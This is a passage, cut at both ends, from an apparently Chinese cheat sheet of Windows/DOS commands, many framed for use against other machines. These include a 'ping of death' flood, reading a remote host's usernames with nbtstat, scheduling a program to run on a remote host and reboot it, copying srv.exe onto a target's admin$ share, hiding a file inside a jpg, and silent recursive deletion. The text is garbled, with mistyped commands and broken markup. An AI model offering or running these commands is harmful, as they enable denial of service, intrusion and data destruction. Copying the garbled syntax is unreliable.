行的工作 netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看 tcp/ip 协议使用情况） netstat -s 查看正在使用的所有协议使用情况*1*nbtstat -A 对方 136 到 139 其中一个端口开了的话，就可查看对方最近登陆的用户名（03 前的为用户名）-注意： 参数-A 要大写 tracert -参数 ip(或计算机名) 跟踪路由（数据包） ，参数： “-w 数字”用于设置超时间隔。 ping ip(或域名) 向对方主机发送默认大小为 32 字节的数据， 参数： “-l[空格]数据包大小” ； 发送数据次数” “-n ； “-t” 指一直 ping。 ping -t -l 65550 ip 死亡之 ping(发送大于 64K 的文件并一直 ping 就成了死亡之 ping) ipconfig (winipcfg) 用于 windows NT 及 XP(windows 95 98)查看本地 ip 地址，ipconfig 可用参数“/all”显示全 部配置信息 tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的 Support/tools 文件夹内) kill -F 进程名 加-F 参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的 Support/tools 文件夹内) del -F 文件名 加-F 参数后就可删除只读文件,/AR、/AH、/AS、/AA 分别表示删除只读、隐藏、系统、存档文件，/A-R、 /A-H、/A-S、/A-A 表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR ”表示删除当前目录下所有只 读文件， “DEL/A-S ”表示删除当前目录下除系统文件以外的所有文件 del /S /Q 目录 或用：rmdir /s /Q 目录 /S 删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操 作时的系统确认就直接删除。 （二个命令作用相同） move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y 将取消确认移动目录存在 相同文件的提示就直接覆盖 fc one.txt two.txt>3st.txt 对比二个文件并把不同之处输出到 3st.txt 文件中，“>“和“>>“是重定向命令 at id 号 开启已注册的某个计划任务 at /del ete 停止所有计划任务，用参数/yes 则不需要确认就直接停止 at id 号 /del ete 停止某个已注册的计划任务 at 查看所有的计划任务 at [url=..file://\\ip]\\ip[/审核中url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 finger username @host 查看最近有哪些用户登陆 telnet ip 端口 远和登陆服务器,默认端口为 23 open ip 连接到 IP（属 telnet 登陆后的命令） telnet 在本机上直接键入 telnet 将进入本机的 telnet copy 路径\文件名 1 路径\文件名 2 /y 复制文件 1 到指定的目录为文件 2，用参数/y 就同时取消确认你要改写一份 现存目录文件 copy c:\srv.exe $$“>\\ip\admin$$ 复制本地 c:\srv.exe 到对方的 admin 下 cppy 1st.jpg/b+2st.txt/a 3st.jpg 将 2st.txt 的内容藏身到 1st.jpg 中生成